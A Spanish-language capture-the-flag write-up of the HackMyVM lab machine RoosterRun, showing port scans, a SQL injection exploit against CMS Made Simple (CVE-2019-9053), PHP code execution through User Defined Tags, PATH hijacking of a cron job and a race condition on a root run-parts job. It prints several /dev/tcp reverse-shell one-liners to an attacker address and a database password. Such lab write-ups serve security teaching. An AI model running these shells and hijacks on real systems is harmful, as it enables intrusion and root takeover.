cd ~/blog

~/writeups/hmv/031-roosterrun.md

031 - RoosterRun

easy Linux hmvautor: Jordy Pérez Osorio aviso legal
SQL Injection en CMS Made Simple (CVE-2019-9053)User Defined Tag RCE en CMS Made SimplePATH Hijacking en una tarea cron que resuelve bash mediante envTOCTOU Race Condition sobre archivos procesados por run-parts como root
hackmyvm.eu/machines/machine.php?vm=RoosterRun

~2 min de lectura


Enumeración de servicios

Comenzamos con un escaneo de puertos:

❯ sudo nmap -p- -sS --min-rate 5000 -n -Pn -oG 01-allPorts 192.168.1.25
❯ nmap -sCV -p22,80 -oN 02-targeted.txt 192.168.1.25
Starting Nmap 7.94 ( https://nmap.org ) at 2024-02-28 22:21 -03
Nmap scan report for 192.168.1.25
Host is up (0.00032s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2 (protocol 2.0)
| ssh-hostkey:
|   256 dd:83:da:cb:45:d3:a8:ea:c6:be:19:03:45:76:43:8c (ECDSA)
|_  256 e5:5f:7f:25:aa:c0:18:04:c4:46:98:b3:5d:a5:2b:48 (ED25519)
80/tcp open  http    Apache httpd 2.4.57 ((Debian))
|_http-server-header: Apache/2.4.57 (Debian)
|_http-generator: CMS Made Simple - Copyright (C) 2004-2023. All rights reserved.
|_http-title: Home - Blog
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.25 seconds

Enumeramos con gobuster:

❯ gobuster dir -u http://192.168.1.25 -w ~/Documentos/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x html,php,txt -r
...
/index.php            (Status: 200) [Size: 19337]
/modules              (Status: 200) [Size: 3381]
/uploads              (Status: 200) [Size: 0]
/doc                  (Status: 200) [Size: 24]
/assets               (Status: 200) [Size: 2129]
/admin                (Status: 200) [Size: 4467]
/lib                  (Status: 200) [Size: 24]
/config.php           (Status: 200) [Size: 0]
/tmp                  (Status: 200) [Size: 1131]
...

SQL injection y acceso al CMS

El sitio corre CMS Made Simple 2.2.9.1, vulnerable a SQL Injection mediante CVE-2019-9053. La variante es ciega y basada en tiempo: el exploit formula condiciones y deduce cada carácter a partir de diferencias medibles en la respuesta, en vez de recibir los registros directamente. Con el exploit ajustado extraemos la sal, el usuario y el hash, y después probamos el hash con el diccionario indicado:

❯ ./46635.py -u http://192.168.1.25 -w /home/wh01s17/Documentos/wordlists/rockyou.txt -c
[+] Salt for password found: 1a0112229fbd699d
[+] Username found: admin
[+] Email found: admin@localhost.com
[+] Password found: 4f943036486b9ad48890b2efbf7735a8
[+] Password cracked: homeandaway

Ejecución remota mediante User Defined Tags

Ya como admin, el CMS permite crear User Defined Tags, fragmentos PHP pensados para extender las plantillas. Esta función administrativa se convierte en RCE porque el servidor guarda y evalúa el código con la identidad del proceso web. En Extensions → User Defined Tags → Add User Defined Tag insertamos:

exec("/bin/bash -c 'bash -i > /dev/tcp/192.168.1.10/1234 0>&1'");

Guardamos y ejecutamos el plugin (con netcat a la escucha), obteniendo una shell como www-data:

❯ ncat -nlvp 1234
Ncat: Version 7.94 ( https://nmap.org/ncat )
Ncat: Listening on [::]:1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from 192.168.1.25:51528.
script /dev/null -c bash
Script started, output log file is '/dev/null'.
www-data@rooSter-Run:/var/www/html/admin$

En config.php encontramos las credenciales de la base de datos:

www-data@rooSter-Run:/var/www/html$ cat config.php
<?php

# Documentation: https://docs.cmsmadesimple.org/configuration/config-file/config-reference
#
$config['dbms'] = 'mysqli';
$config['db_hostname'] = 'localhost';
$config['db_username'] = 'admin';
$config['db_password'] = 'j42W9kDq9dN9hK';
$config['db_name'] = 'cmsms_db';
$config['db_prefix'] = 'cms_';
$config['timezone'] = 'Europe/Berlin';

Movimiento lateral mediante PATH hijacking

Con pspy64 identificamos tareas cron, entre ellas StaleFinder (ejecutado por el usuario 1000) y backup.sh (ejecutado por root):

...
2024/03/03 17:06:01 CMD: UID=0     PID=845    | /bin/sh -c /bin/bash /opt/maintenance/backup.sh
2024/03/03 17:06:01 CMD: UID=1000  PID=846    | /bin/sh -c /home/matthieu/StaleFinder
2024/03/03 17:06:01 CMD: UID=0     PID=847    | /bin/bash /opt/maintenance/backup.sh
2024/03/03 17:06:01 CMD: UID=1000  PID=848    | bash /home/matthieu/StaleFinder
...

Analizamos StaleFinder, que recorre el home buscando archivos vacíos o antiguos:

www-data@rooSter-Run:/home/matthieu$ cat StaleFinder
#!/usr/bin/env bash

for file in ~/*; do
    if [[ -f $file ]]; then
        if [[ ! -s $file ]]; then
            echo "$file is empty."
        fi

        if [[ $(find "$file" -mtime +365 -print) ]]; then
            echo "$file hasn't been modified for over a year."
        fi
    fi
done

Revisamos el PATH y los permisos de /usr/local/bin:

www-data@rooSter-Run:/home/matthieu$ echo $PATH
echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

/usr/local/bin está antes que /usr/bin, y el + indica permisos ACL extendidos:

www-data@rooSter-Run:/home/matthieu$ ls -ld /usr/local/bin
drwxrwx---+ 2 root root 4096 Feb 29 18:29 /usr//local/bin

www-data@rooSter-Run:/home/matthieu$ getfacl /usr/local/bin
...
user:www-data:rwx
...

www-data puede escribir en /usr/local/bin. Como el shebang de StaleFinder es #!/usr/bin/env bash, env resuelve bash recorriendo el PATH (PATH Hijacking). No estamos sustituyendo una orden utilizada dentro del script: secuestramos el propio intérprete antes de que procese la primera línea. Colocamos un bash malicioso allí:

www-data@rooSter-Run:/usr/local/bin$ echo '/usr/bin/bash -c "/usr/bin/bash -i >& /dev/tcp/192.168.1.10/4321 0>&1"' > bash
www-data@rooSter-Run:/usr/local/bin$ chmod +x bash

Cuando el cron de matthieu ejecuta StaleFinder, recibimos su shell:

❯ ncat -nlvp 4321
Ncat: Version 7.94 ( https://nmap.org/ncat )
Ncat: Listening on [::]:4321
Ncat: Listening on 0.0.0.0:4321
Ncat: Connection from 192.168.1.25:51424.
bash: cannot set terminal process group (941): Inappropriate ioctl for device
bash: no job control in this shell
matthieu@rooSter-Run:~$

Escalada de privilegios mediante una condición de carrera

Obtenemos la flag de usuario. Ahora podemos leer backup.sh, el cron de root:

matthieu@rooSter-Run:/opt/maintenance$ cat backup.sh
#!/bin/bash

PROD="/opt/maintenance/prod-tasks"
PREPROD="/opt/maintenance/pre-prod-tasks"

for file in "$PREPROD"/*; do
  if [[ -f $file && "${file##*.}" = "sh" ]]; then
    cp "$file" "$PROD"
  else
    rm -f ${file}
  fi
done

for file in "$PROD"/*; do
  if [[ -f $file && ! -O $file ]]; then
  rm ${file}
  fi
done

/usr/bin/run-parts /opt/maintenance/prod-tasks

El script copia los .sh de pre-prod-tasks a prod-tasks y luego ejecuta con run-parts todo lo de prod-tasks que tenga un nombre aceptado. Entre la copia, la comprobación de propiedad y la ejecución existe una TOCTOU Race Condition: el contenido del directorio puede cambiar después de ser validado. La condición ! -O borra los archivos que no son propiedad de root, pero podemos ganar la carrera: creamos un .sh válido con la reverse shell y, una vez copiado a PROD, lo renombramos rápidamente para quitarle la extensión:

matthieu@rooSter-Run:/opt/maintenance/pre-prod-tasks$ echo '#!/bin/bash' > pwned.sh
matthieu@rooSter-Run:/opt/maintenance/pre-prod-tasks$ echo '/bin/bash -c "/bin/bash -i >& /dev/tcp/192.168.1.10/9999 0>&1"' >> pwned.sh
matthieu@rooSter-Run:/opt/maintenance/pre-prod-tasks$ cat pwned.sh
#!/bin/bash
/bin/bash -c "/bin/bash -i >& /dev/tcp/192.168.1.10/9999 0>&1"

matthieu@rooSter-Run:/opt/maintenance/pre-prod-tasks$ chmod +x pwned.sh
matthieu@rooSter-Run:/opt/maintenance/prod-tasks$ mv pwned.sh pwned

El cambio de nombre persigue dos efectos. Primero, ocurre después de que cp haya creado el archivo como root, por lo que la comprobación ! -O ya no lo elimina. Segundo, elimina la extensión .sh, que run-parts normalmente omite por contener un punto. Con netcat a la escucha, recibimos la shell de root cuando run-parts ejecuta nuestro archivo:

❯ ncat -nlvp 9999
Ncat: Version 7.94 ( https://nmap.org/ncat )
Ncat: Listening on [::]:9999
Ncat: Listening on 0.0.0.0:9999
Ncat: Connection from 192.168.1.25:42264.
bash: cannot set terminal process group (1488): Inappropriate ioctl for device
bash: no job control in this shell
root@rooSter-Run:~#

Obtenemos nuestra flag.

Fin.

Machine rooted ✓

user & root flags capturados — redactados en el sitio público

// relacionados